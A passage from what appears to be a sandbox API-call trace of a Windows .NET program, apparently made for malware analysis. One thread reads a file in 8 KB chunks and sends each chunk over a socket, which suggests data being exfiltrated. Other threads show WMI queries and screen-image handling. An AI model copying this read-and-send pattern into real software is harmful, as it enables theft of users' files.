lpNumberOfBytesRead=0x12fef18*=0x2000, lpOverlapped=0x0) returned 1 [0214.292] send (s=0x744, buf=0x3321cc0*, len=8192, flags=0) returned 8192 [0214.791] ReadFile (in: hFile=0x740, lpBuffer=0x3321cc0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x12fef18, lpOverlapped=0x0 | out: lpBuffer=0x3321cc0*, lpNumberOfBytesRead=0x12fef18*=0x2000, lpOverlapped=0x0) returned 1 [0214.792] send (s=0x744, buf=0x3321cc0*, len=8192, flags=0) returned 8192 [0215.287] ReadFile (in: hFile=0x740, lpBuffer=0x3321cc0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x12fef18, lpOverlapped=0x0 | out: lpBuffer=0x3321cc0*, lpNumberOfBytesRead=0x12fef18*=0x2000, lpOverlapped=0x0) returned 1 [0215.287] send (s=0x744, buf=0x3321cc0*, len=8192, flags=0) returned 8192 [0215.786] ReadFile (in: hFile=0x740, lpBuffer=0x3321cc0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x12fef18, lpOverlapped=0x0 | out: lpBuffer=0x3321cc0*, lpNumberOfBytesRead=0x12fef18*=0x2000, lpOverlapped=0x0) returned 1 [0215.786] send (s=0x744, buf=0x3321cc0*, len=8192, flags=0) returned 8192 [0216.286] ReadFile (in: hFile=0x740, lpBuffer=0x3321cc0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x12fef18, lpOverlapped=0x0 | out: lpBuffer=0x3321cc0*, lpNumberOfBytesRead=0x12fef18*=0x2000, lpOverlapped=0x0) returned 1 [0216.287] send (s=0x744, buf=0x3321cc0*, len=8192, flags=0) returned 8192 [0216.790] ReadFile (in: hFile=0x740, lpBuffer=0x3321cc0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x12fef18, lpOverlapped=0x0 | out: lpBuffer=0x3321cc0*, lpNumberOfBytesRead=0x12fef18*=0x2000, lpOverlapped=0x0) returned 1 [0216.790] send (s=0x744, buf=0x3321cc0*, len=8192, flags=0) returned 8192 [0217.291] ReadFile (in: hFile=0x740, lpBuffer=0x3321cc0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x12fef18, lpOverlapped=0x0 | out: lpBuffer=0x3321cc0*, lpNumberOfBytesRead=0x12fef18*=0x2000, lpOverlapped=0x0) returned 1 [0217.291] send (s=0x744, buf=0x3321cc0*, len=8192, flags=0) returned 8192 [0217.789] ReadFile (in: hFile=0x740, lpBuffer=0x3321cc0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x12fef18, lpOverlapped=0x0 | out: lpBuffer=0x3321cc0*, lpNumberOfBytesRead=0x12fef18*=0x2000, lpOverlapped=0x0) returned 1 [0217.790] send (s=0x744, buf=0x3321cc0*, len=8192, flags=0) returned 8192 [0218.289] ReadFile (in: hFile=0x740, lpBuffer=0x3321cc0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x12fef18, lpOverlapped=0x0 | out: lpBuffer=0x3321cc0*, lpNumberOfBytesRead=0x12fef18*=0x2000, lpOverlapped=0x0) returned 1 [0218.289] send (s=0x744, buf=0x3321cc0*, len=8192, flags=0) returned 8192 [0218.793] ReadFile (in: hFile=0x740, lpBuffer=0x3321cc0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x12fef18, lpOverlapped=0x0 | out: lpBuffer=0x3321cc0*, lpNumberOfBytesRead=0x12fef18*=0x2000, lpOverlapped=0x0) returned 1 [0218.793] send (s=0x744, buf=0x3321cc0*, len=8192, flags=0) returned 8192 [0219.288] ReadFile (in: hFile=0x740, lpBuffer=0x3321cc0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x12fef18, lpOverlapped=0x0 | out: lpBuffer=0x3321cc0*, lpNumberOfBytesRead=0x12fef18*=0x2000, lpOverlapped=0x0) returned 1 [0219.288] send (s=0x744, buf=0x3321cc0*, len=8192, flags=0) returned 8192 [0219.787] ReadFile (in: hFile=0x740, lpBuffer=0x3321cc0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x12fef18, lpOverlapped=0x0 | out: lpBuffer=0x3321cc0*, lpNumberOfBytesRead=0x12fef18*=0x2000, lpOverlapped=0x0) returned 1 [0219.787] send (s=0x744, buf=0x3321cc0*, len=8192, flags=0) returned 8192 [0220.166] ReadFile (in: hFile=0x740, lpBuffer=0x3321cc0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x12fef18, lpOverlapped=0x0 | out: lpBuffer=0x3321cc0*, lpNumberOfBytesRead=0x12fef18*=0x2000, lpOverlapped=0x0) returned 1 [0220.166] send (s=0x744, buf=0x3321cc0*, len=8192, flags=0) returned 8192 [0221.488] ReadFile (in: hFile=0x740, lpBuffer=0x3321cc0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x12fef18, lpOverlapped=0x0 | out: lpBuffer=0x3321cc0*, lpNumberOfBytesRead=0x12fef18*=0x2000, lpOverlapped=0x0) returned 1 [0221.489] send (s=0x744, buf=0x3321cc0*, len=8192, flags=0) returned 8192 [0222.573] ReadFile (in: hFile=0x740, lpBuffer=0x3321cc0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x12fef18, lpOverlapped=0x0 | out: lpBuffer=0x3321cc0*, lpNumberOfBytesRead=0x12fef18*=0x2000, lpOverlapped=0x0) returned 1 [0222.574] send (s=0x744, buf=0x3321cc0*, len=8192, flags=0) returned 8192 [0223.089] ReadFile (in: hFile=0x740, lpBuffer=0x3321cc0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x12fef18, lpOverlapped=0x0 | out: lpBuffer=0x3321cc0*, lpNumberOfBytesRead=0x12fef18*=0x2000, lpOverlapped=0x0) returned 1 [0223.089] send (s=0x744, buf=0x3321cc0*, len=8192, flags=0) returned 8192 [0223.586] ReadFile (in: hFile=0x740, lpBuffer=0x3321cc0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x12fef18, lpOverlapped=0x0 | out: lpBuffer=0x3321cc0*, lpNumberOfBytesRead=0x12fef18*=0x2000, lpOverlapped=0x0) returned 1 [0223.586] send (s=0x744, buf=0x3321cc0*, len=8192, flags=0) returned 8192 [0224.194] ReadFile (in: hFile=0x740, lpBuffer=0x3321cc0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x12fef18, lpOverlapped=0x0 | out: lpBuffer=0x3321cc0*, lpNumberOfBytesRead=0x12fef18*=0x2000, lpOverlapped=0x0) returned 1 [0224.194] send (s=0x744, buf=0x3321cc0*, len=8192, flags=0) returned 8192 [0224.698] ReadFile (in: hFile=0x740, lpBuffer=0x3321cc0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x12fef18, lpOverlapped=0x0 | out: lpBuffer=0x3321cc0*, lpNumberOfBytesRead=0x12fef18*=0x2000, lpOverlapped=0x0) returned 1 [0224.698] send (s=0x744, buf=0x3321cc0*, len=8192, flags=0) returned 8192 [0225.266] ReadFile (in: hFile=0x740, lpBuffer=0x3321cc0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x12fef18, lpOverlapped=0x0 | out: lpBuffer=0x3321cc0*, lpNumberOfBytesRead=0x12fef18*=0x2000, lpOverlapped=0x0) returned 1 [0225.266] send (s=0x744, buf=0x3321cc0*, len=8192, flags=0) returned 8192 [0225.694] ReadFile (in: hFile=0x740, lpBuffer=0x3321cc0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x12fef18, lpOverlapped=0x0 | out: lpBuffer=0x3321cc0*, lpNumberOfBytesRead=0x12fef18*=0x2000, lpOverlapped=0x0) returned 1 [0225.694] send (s=0x744, buf=0x3321cc0*, len=8192, flags=0) returned 8192 [0226.191] ReadFile (in: hFile=0x740, lpBuffer=0x3321cc0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x12fef18, lpOverlapped=0x0 | out: lpBuffer=0x3321cc0*, lpNumberOfBytesRead=0x12fef18*=0x2000, lpOverlapped=0x0) returned 1 [0226.191] send (s=0x744, buf=0x3321cc0*, len=8192, flags=0) returned 8192 [0226.710] ReadFile (in: hFile=0x740, lpBuffer=0x3321cc0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x12fef18, lpOverlapped=0x0 | out: lpBuffer=0x3321cc0*, lpNumberOfBytesRead=0x12fef18*=0x2000, lpOverlapped=0x0) returned 1 [0226.710] send (s=0x744, buf=0x3321cc0*, len=8192, flags=0) returned 8192 [0227.378] ReadFile (in: hFile=0x740, lpBuffer=0x3321cc0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x12fef18, lpOverlapped=0x0 | out: lpBuffer=0x3321cc0*, lpNumberOfBytesRead=0x12fef18*=0x2000, lpOverlapped=0x0) returned 1 [0227.378] send (s=0x744, buf=0x3321cc0*, len=8192, flags=0) returned 8192 [0227.883] ReadFile (in: hFile=0x740, lpBuffer=0x3321cc0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x12fef18, lpOverlapped=0x0 | out: lpBuffer=0x3321cc0*, lpNumberOfBytesRead=0x12fef18*=0x2000, lpOverlapped=0x0) returned 1 [0227.883] send (s=0x744, buf=0x3321cc0*, len=8192, flags=0) returned 8192 [0228.497] ReadFile (in: hFile=0x740, lpBuffer=0x3321cc0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x12fef18, lpOverlapped=0x0 | out: lpBuffer=0x3321cc0*, lpNumberOfBytesRead=0x12fef18*=0x2000, lpOverlapped=0x0) returned 1 [0228.497] send (s=0x744, buf=0x3321cc0*, len=8192, flags=0) returned 8192 [0228.870] ReadFile (in: hFile=0x740, lpBuffer=0x3321cc0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x12fef18, lpOverlapped=0x0 | out: lpBuffer=0x3321cc0*, lpNumberOfBytesRead=0x12fef18*=0x2000, lpOverlapped=0x0) returned 1 [0228.870] send (s=0x744, buf=0x3321cc0*, len=8192, flags=0) returned 8192 [0230.180] ReadFile (in: hFile=0x740, lpBuffer=0x3321cc0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x12fef18, lpOverlapped=0x0 | out: lpBuffer=0x3321cc0*, lpNumberOfBytesRead=0x12fef18*=0x2000, lpOverlapped=0x0) returned 1 [0230.180] send (s=0x744, buf=0x3321cc0*, len=8192, flags=0) returned 8192 [0231.065] ReadFile (in: hFile=0x740, lpBuffer=0x3321cc0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x12fef18, lpOverlapped=0x0 | out: lpBuffer=0x3321cc0*, lpNumberOfBytesRead=0x12fef18*=0x2000, lpOverlapped=0x0) returned 1 [0231.066] send (s=0x744, buf=0x3321cc0*, len=8192, flags=0) returned 8192 [0231.680] ReadFile (in: hFile=0x740, lpBuffer=0x3321cc0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x12fef18, lpOverlapped=0x0 | out: lpBuffer=0x3321cc0*, lpNumberOfBytesRead=0x12fef18*=0x2000, lpOverlapped=0x0) returned 1 [0231.680] send (s=0x744, buf=0x3321cc0*, len=8192, flags=0) returned 8192 [0232.187] ReadFile (in: hFile=0x740, lpBuffer=0x3321cc0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x12fef18, lpOverlapped=0x0 | out: lpBuffer=0x3321cc0*, lpNumberOfBytesRead=0x12fef18*=0x2000, lpOverlapped=0x0) returned 1 [0232.188] send (s=0x744, buf=0x3321cc0*, len=8192, flags=0) returned 8192 [0232.689] ReadFile (in: hFile=0x740, lpBuffer=0x3321cc0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x12fef18, lpOverlapped=0x0 | out: lpBuffer=0x3321cc0*, lpNumberOfBytesRead=0x12fef18*=0x2000, lpOverlapped=0x0) returned 1 [0232.689] send (s=0x744, buf=0x3321cc0*, len=8192, flags=0) returned 8192 [0233.190] ReadFile (in: hFile=0x740, lpBuffer=0x3321cc0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x12fef18, lpOverlapped=0x0 | out: lpBuffer=0x3321cc0*, lpNumberOfBytesRead=0x12fef18*=0x2000, lpOverlapped=0x0) returned 1 [0233.191] send (s=0x744, buf=0x3321cc0*, len=8192, flags=0) Thread: id = 177 os_tid = 0x12ec Thread: id = 178 os_tid = 0x10a0 Thread: id = 179 os_tid = 0xe10 [0170.063] CoGetContextToken (in: pToken=0x527fc04 | out: pToken=0x527fc04) returned 0x0 [0170.063] CObjectContext::QueryInterface () returned 0x0 [0170.063] CObjectContext::GetCurrentThreadType () returned 0x0 [0170.063] Release () returned 0x0 [0170.063] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0170.063] RoInitialize () returned 0x1 [0170.064] RoUninitialize () returned 0x0 [0179.693] CoGetContextToken (in: pToken=0x527fbf0 | out: pToken=0x527fbf0) returned 0x0 [0179.693] CoGetContextToken (in: pToken=0x527fb70 | out: pToken=0x527fb70) returned 0x0 [0179.693] CoGetContextToken (in: pToken=0x527fb70 | out: pToken=0x527fb70) returned 0x0 [0179.693] CoGetContextToken (in: pToken=0x527fb70 | out: pToken=0x527fb70) returned 0x0 [0179.693] CoGetContextToken (in: pToken=0x527fb70 | out: pToken=0x527fb70) returned 0x0 [0179.694] CoGetContextToken (in: pToken=0x527fb70 | out: pToken=0x527fb70) returned 0x0 [0179.694] IUnknown:Release (This=0x1355040) returned 0x0 [0179.694] GdipDisposeImage (image=0x5a61f08) returned 0x0 [0179.694] GdipDeleteGraphics (graphics=0x5a62408) returned 0x0 [0196.057] CoGetContextToken (in: pToken=0x527fbf0 | out: pToken=0x527fbf0) returned 0x0 [0196.057] CoGetContextToken (in: pToken=0x527fb70 | out: pToken=0x527fb70) returned 0x0 [0196.057] WbemLocator:IUnknown:Release (This=0x13997a8) returned 0x1 [0196.057] WbemLocator:IUnknown:Release (This=0x13997a8) returned 0x0 [0196.057] CoGetContextToken (in: pToken=0x527fb70 | out: pToken=0x527fb70) returned 0x0 [0196.057] IUnknown:Release (This=0x13d5720) returned 0x2 [0196.057] IUnknown:Release (This=0x13d5720) returned 0x1 [0196.057] CoGetContextToken (in: pToken=0x527fbf0 | out: pToken=0x527fbf0) returned 0x0 [0196.057] CoGetContextToken (in: pToken=0x527fb70 | out: pToken=0x527fb70) returned 0x0 [0196.057] WbemDefPath:IUnknown:Release (This=0x13a4480) returned 0x1 [0196.057] WbemDefPath:IUnknown:Release (This=0x13a4480) returned 0x0 [0196.059] CoGetContextToken (in: pToken=0x527fa38 | out: pToken=0x527fa38) returned 0x0 [0196.059] IUnknown:Release (This=0x13acaa0) returned 0x1 [0196.059] IUnknown:Release (This=0x13acaa0) returned 0x0 [0196.060] IUnknown:Release (This=0x13d3e40) returned 0x0 [0196.060] IUnknown:Release (This=0x13d5720) returned 0x0 [0196.060] CloseHandle (hObject=0x4e4) returned 1 [0197.275] CoGetContextToken (in: pToken=0x527fbf0 | out: pToken=0x527fbf0) returned 0x0 [0197.276] CoGetContextToken (in: pToken=0x527fb70 | out: pToken=0x527fb70) returned 0x0 [0197.276] WbemDefPath:IUnknown:Release (This=0x13a3ae0) returned 0x1 [0197.276] WbemDefPath:IUnknown:Release (This=0x13a3ae0) returned 0x0 [0197.276] CoGetContextToken (in: pToken=0x527fb70 | out: pToken=0x527fb70) returned 0x0 [0197.276] WbemDefPath:IUnknown:Release (This=0x13a42c0) returned 0x1 [0197.276] WbemDefPath:IUnknown:Release (This=0x13a42c0) returned 0x0 [0197.276] CoGetContextToken (in: pToken=0x527fb70 | out: pToken=0x527fb70) returned 0x0 [0197.276] WbemDefPath:IUnknown:Release (This=0x13a3fb0) returned 0x1 [0197.276] WbemDefPath:IUnknown:Release (This=0x13a3fb0) returned 0x0 [0197.276] CoGetContextToken (in: pToken=0x527fbf0 | out: pToken=0x527fbf0) returned 0x0 [0197.276] CoGetContextToken (in: pToken=0x527fb70 | out: pToken=0x527fb70) returned 0x0 [0197.276] WbemLocator:IUnknown:Release (This=0x13cb328) returned 0x1 [0197.276] WbemLocator:IUnknown:Release (This=0x13cb328) returned 0x0 [0197.277] IUnknown:Release (This=0x1355040) returned 0x0 [0211.938] CoGetContextToken (in: pToken=0x527fbf0 | out: pToken=0x527fbf0) returned 0x0 [0211.938] CoGetContextToken (in: pToken=0x527fb70 | out: pToken=0x527fb70) returned 0x0 [0211.938] WbemLocator:IUnknown:Release (This=0x1382768) returned 0x1 [0211.938] WbemLocator:IUnknown:Release (This=0x1382768) returned 0x0 [0211.938] CoGetContextToken (in: pToken=0x527fb70 | out: pToken=0x527fb70) returned 0x0 [0211.938] WbemLocator:IUnknown:Release (This=0x1382788) returned 0x1 [0211.938] WbemLocator:IUnknown:Release (This=0x1382788) returned 0x0 [0211.938] CoGetContextToken (in: pToken=0x527fb70 | out: pToken=0x527fb70) returned 0x0 [0211.938] IUnknown:Release (This=0x13d5910) returned 0x2 [0211.938] IUnknown:Release (This=0x13d5910) returned 0x1 [0211.938] CoGetContextToken (in: pToken=0x527fb70 | out: pToken=0x527fb70) returned 0x0 [0211.938] WbemLocator:IUnknown:Release (This=0x1382488) returned 0x1 [0211.938] WbemLocator:IUnknown:Release (This=0x1382488) returned 0x0 [0211.938] CoGetContextToken (in: pToken=0x527fb70 | out: pToken=0x527fb70) returned 0x0 [0211.938] IUnknown:Release (This=0x13fbc28) returned 0x2 [0211.938] IUnknown:Release (This=0x13fbc28) returned 0x1 [0211.938] CoGetContextToken (in: pToken=0x527fb70 | out: pToken=0x527fb70) returned 0x0 [0211.938] IUnknown:Release (This=0x13fe018) returned 0x2 [0211.938] IUnknown:Release (This=0x13fe018) returned 0x1 [0211.938] CoGetContextToken (in: pToken=0x527fb70 | out: pToken=0x527fb70) returned 0x0 [0211.938] IUnknown:Release (This=0x6012d08) returned 0x2 [0211.938] IUnknown:Release (This=0x6012d08) returned 0x1 [0211.938] CoGetContextToken (in: pToken=0x527fb70 | out: pToken=0x527fb70) returned 0x0 [0211.938] IUnknown:Release (This=0x6012ea0) returned 0x2 [0211.939] IUnknown:Release (This=0x6012ea0) returned 0x1 [0211.939] CoGetContextToken (in: pToken=0x527fb70 | out: pToken=0x527fb70) returned 0x0 [0211.939] WbemLocator:IUnknown:Release (This=0x1382578) returned 0x1 [0211.939] WbemLocator:IUnknown:Release (This=0x1382578) returned 0x0 [0211.939] CoGetContextToken (in: pToken=0x527fb70 | out: pToken=0x527fb70) returned 0x0 [0211.939] IUnknown:Release (This=0x6013038) returned 0x2 [0211.939] IUnknown:Release (This=0x6013038) returned 0x1 [0211.939] CoGetContextToken (in: pToken=0x527fb70 | out: pToken=0x527fb70) returned 0x0 [0211.939] WbemLocator:IUnknown:Release (This=0x1382528) returned 0x1 [0211.939] WbemLocator:IUnknown:Release (This=0x1382528) returned 0x0 [0211.939] CoGetContextToken (in: pToken=0x527fb70 | out: pToken=0x527fb70) returned 0x0 [0211.939] IUnknown:Release (This=0x6013660) returned 0x2 [0211.939] IUnknown:Release (This=0x6013660) returned 0x1 [0211.939] CoGetContextToken (in: pToken=0x527fb70 | out: pToken=0x527fb70) returned 0x0 [0211.939] WbemLocator:IUnknown:Release (This=0x13997a8) returned 0x1 [0211.939] WbemLocator:IUnknown:Release (This=0x13997a8) returned 0x0 [0211.939] CoGetContextToken (in: pToken=0x527fb70 | out: pToken=0x527fb70) returned 0x0 [0211.939] IUnknown:Release (This=0x13f8838) returned 0x2 [0211.939] IUnknown:Release (This=0x13f8838) returned 0x1 [0211.939] IUnknown:Release (This=0x6013660) returned 0x0 [0211.939] IUnknown:Release (This=0x13f8838) returned 0x0 [0211.939] CoGetContextToken (in: pToken=0x527fa38 | out: pToken=0x527fa38) returned 0x0 [0211.939] IUnknown:Release (This=0x13ac910) returned 0x1 [0211.940] IUnknown:Release (This=0x13ac910) returned 0x0 [0211.941] IUnknown:Release (This=0x6013038) returned 0x0 [0211.941] CoGetContextToken (in: pToken=0x527fa38 | out: pToken=0x527fa38) returned 0x0 [0211.941] IUnknown:Release (This=0x13acc30) returned 0x1 [0211.941] IUnknown:Release (This=0x13acc30) returned 0x0 [0211.943] IUnknown:Release (This=0x6012ea0) returned 0x0 [0211.943] IUnknown:Release (This=0x6012d08) returned 0x0 [0211.943] IUnknown:Release (This=0x13fe018) returned 0x0 [0211.943] CoGetContextToken (in: pToken=0x527fa38 | out: pToken=0x527fa38) returned 0x0 [0211.943] IUnknown:Release (This=0x13acf50) returned 0x1 [0211.943] IUnknown:Release (This=0x13acf50) returned 0x0 [0211.944] IUnknown:Release (This=0x13fbc28) returned 0x0 [0211.944] IUnknown:Release (This=0x13d5910) returned 0x0 [0211.944] CoGetContextToken (in: pToken=0x527fa38 | out: pToken=0x527fa38) returned 0x0 [0211.944] IUnknown:Release (This=0x13acdc0) returned 0x1 [0211.944] IUnknown:Release (This=0x13acdc0) returned 0x0 [0211.945] CoGetContextToken (in: pToken=0x527fa38 | out: pToken=0x527fa38) returned 0x0 [0211.946] IUnknown:Release (This=0x13ad018) returned 0x1 [0211.946] IUnknown:Release (This=0x13ad018) returned 0x0 [0211.946] CoGetContextToken (in: pToken=0x527fa38 | out: pToken=0x527fa38) returned 0x0 [0211.947] IUnknown:Release (This=0x13ac5f0) returned 0x1 [0211.947] IUnknown:Release (This=0x13ac5f0) returned 0x0 [0211.949] CloseHandle (hObject=0x5d4) returned 1 [0211.949] CloseHandle (hObject=0x5a8) returned 1 [0211.950] CloseHandle (hObject=0x5ac) returned 1 [0211.951] CloseHandle (hObject=0x5a4) returned 1 [0211.951] CloseHandle (hObject=0x5d0) returned 1 [0211.951] CloseHandle (hObject=0x5a0) returned 1 [0211.951] CloseHandle (hObject=0x4e4) returned 1 [0211.951] CloseHandle (hObject=0x59c) returned 1 [0211.951] CloseHandle (hObject=0x5cc) returned 1 [0211.952] CloseHandle (hObject=0x598) returned 1 [0211.952] CloseHandle (hObject=0x5c8) returned 1 [0211.953] CloseHandle (hObject=0x6dc) returned 1 [0211.953] CloseHandle (hObject=0x590) returned 1 [0211.953] CloseHandle (hObject=0x5c4) returned 1 [0211.954] CloseHandle (hObject=0x5c0) returned 1 [0211.954] CloseHandle (hObject=0x6d8) returned 1 [0211.954] CloseHandle (hObject=0x5bc) returned 1 [0211.955] CloseHandle (hObject=0x5b0) returned 1 [0211.955] CloseHandle (hObject=0x6c0) returned 1 Thread: id = 181 os_tid = 0x1004 Thread: id = 182 os_tid = 0xff0 [0176.622] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0176.622] RoInitialize () returned 0x1 [0176.622] RoUninitialize () returned 0x0 [0176.629] SetConsoleCtrlHandler (HandlerRoutine=0x59505e6, Add=1) returned 1 [0176.630] GetModuleHandleW (lpModuleName=0x0) returned 0xe70000 [0176.631] GetModuleHandleW (lpModuleName=0x0) returned 0xe70000 [0176.633] GetClassInfoW (in: hInstance=0xe70000, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.3ce0bb8.0", lpWndClass=0x3186394 | out: lpWndClass=0x3186394) returned 0 [0176.635] CoTaskMemAlloc (cb=0x58) returned 0x13b62d8 [0176.635] RegisterClassW (lpWndClass=0x588f7e4) returned 0xc202 [0176.636] CoTaskMemFree (pv=0x13b62d8) [0176.637] CreateWindowExW (dwExStyle=0x0, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.3ce0bb8.0", lpWindowName=".NET-BroadcastEventWindow.4.0.0.0.3ce0bb8.0", dwStyle=0x80000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0xe70000, lpParam=0x0) returned 0xb037a [0176.642] NtdllDefWindowProc_W (hWnd=0xb037a, Msg=0x83, wParam=0x0, lParam=0x588f30c) returned 0x0 [0176.642] NtdllDefWindowProc_W (hWnd=0xb037a, Msg=0x1, wParam=0x0, lParam=0x588f320) returned 0x0 [0176.642] NtdllDefWindowProc_W (hWnd=0xb037a, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0176.643] NtdllDefWindowProc_W (hWnd=0xb037a, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0176.675] SetEvent (hEvent=0x408) returned 1 [0176.915] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0176.961] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0177.111] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0177.448] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0177.564] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0177.566] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0177.754] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0177.804] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0177.915] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0177.959] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0178.122] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0178.177] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0178.312] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0178.332] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0178.489] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0178.528] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0178.836] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0178.874] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0179.006] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0179.050] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0179.178] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0179.223] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0179.428] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0179.459] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0179.600] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0179.658] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0179.757] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0179.796] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0179.911] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0179.958] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0180.096] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0180.147] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0180.286] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0180.313] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0180.418] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0180.429] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0180.536] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0180.583] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0180.697] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0180.707] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0180.827] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0180.875] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0180.985] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0181.023] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0181.163] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0181.206] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, 